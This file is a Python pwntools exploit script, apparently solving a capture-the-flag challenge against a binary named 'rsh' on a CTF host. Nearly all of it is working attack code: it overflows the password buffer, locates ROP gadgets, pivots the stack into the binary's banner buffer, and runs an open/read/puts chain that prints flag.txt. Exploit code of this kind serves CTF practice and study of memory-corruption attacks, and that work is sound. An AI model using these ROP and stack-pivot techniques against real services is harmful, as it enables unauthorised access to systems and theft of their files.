119 lines
3.6 KiB
Python
Executable file
119 lines
3.6 KiB
Python
Executable file
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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# This exploit template was generated via:
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# $ pwn template --host hod-ctf.sito.org --port 4444 rsh
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from pwn import *
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# Set up pwntools for the correct architecture
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exe = context.binary = ELF(args.EXE or 'rsh')
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# Many built-in settings can be controlled on the command-line and show up
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# in "args". For example, to dump all data sent/received, and disable ASLR
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# for all created processes...
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# ./exploit.py DEBUG NOASLR
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# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
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host = args.HOST or 'localhost'
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port = int(args.PORT or 8888)
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def start_local(argv=[], *a, **kw):
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'''Execute the target binary locally'''
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if args.GDB:
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return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
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else:
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return process([exe.path] + argv, *a, **kw)
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def start_remote(argv=[], *a, **kw):
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'''Connect to the process on the remote host'''
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io = connect(host, port)
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if args.GDB:
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gdb.attach(io, gdbscript=gdbscript)
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return io
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def start(argv=[], *a, **kw):
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'''Start the exploit against the target.'''
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if args.LOCAL:
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return start_local(argv, *a, **kw)
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else:
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return start_remote(argv, *a, **kw)
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# Specify your GDB script here for debugging
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# GDB will be launched if the exploit is run via e.g.
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# ./exploit.py GDB
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gdbscript = '''
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source /usr/share/pwndbg/gdbinit.py
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tbreak main
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break remote_shell
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break *0x40128a
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continue
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'''.format(**locals())
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#===========================================================
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# EXPLOIT GOES HERE
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#===========================================================
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# Arch: amd64-64-little
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# RELRO: Partial RELRO
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# Stack: No canary found
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# NX: NX enabled
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# PIE: No PIE (0x400000)
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# Stripped: No
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context.terminal = ['tmux', 'splitw', '-h']
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string_addr = exe.search(b'password').__next__()
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pop_rdi = exe.search(asm('pop rdi; ret', arch='amd64')).__next__()
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pop_rsi = exe.search(asm('pop rsi; ret', arch='amd64')).__next__()
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pop_rdx = exe.search(asm('pop rdx; ret', arch='amd64')).__next__()
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pop_rbp = exe.search(asm('pop rbp; ret', arch='amd64')).__next__()
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leave = exe.search(asm('leave; ret', arch='amd64')).__next__()
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rsp_8 = exe.search(asm('pop rdx; ret', arch='amd64')).__next__()
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puts_banner = 0x4012f6
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fake_stack = exe.sym['banner'] + 256
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rop1 = ROP(exe)
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# write flag.txt in banner
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rop1.raw([pop_rsi, exe.sym['banner'], pop_rdx, 0x1000, exe.sym['read_string'], exe.sym['remote_shell']])
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write_fake_stack = ROP(exe)
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# write the longer chain into the part that will be our fake stack
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write_fake_stack.raw([pop_rsi, fake_stack, pop_rdx, 0x1000, exe.sym['read_string'], exe.sym['remote_shell']])
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rop2 = ROP(exe)
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# rsp == fake_stack (banner + 256)
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rop2.raw([pop_rbp, fake_stack, leave])
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# chain to open flag.txt, read it and print it, then exit nicely
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chain = [0xdeadbeef, pop_rdi, exe.sym['banner'], pop_rsi, 0, exe.sym['open'], pop_rdi, 3, pop_rsi, exe.sym['banner'], pop_rdx, 0xff, exe.sym['read']]
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chain += [pop_rdi, exe.sym['banner'], exe.sym['puts'], exe.sym['exit']]
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long_chain = ROP(exe)
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long_chain.raw(chain)
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def cycle(rop):
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io.recvuntil(b'login: ')
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io.sendline(b'A'*31)
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io.recvuntil(b'password: ')
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payload = secret_pwd + b'P' * off
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payload += rop.chain()
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io.sendline(payload.ljust(128-1, b'P'))
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sleep(0.2)
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secret_pwd = b'super_secret_password'
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username_len = 128
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# offset to overwrite the return address
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off = cyclic_find('anaa')
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io = start()
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# write flag.txt in banner
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cycle(rop1)
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io.sendline(b'flag.txt')
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cycle(write_fake_stack)
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io.sendline(long_chain.chain())
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# return to the fake stack
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cycle(rop2)
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# flag is in stdout
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io.interactive()
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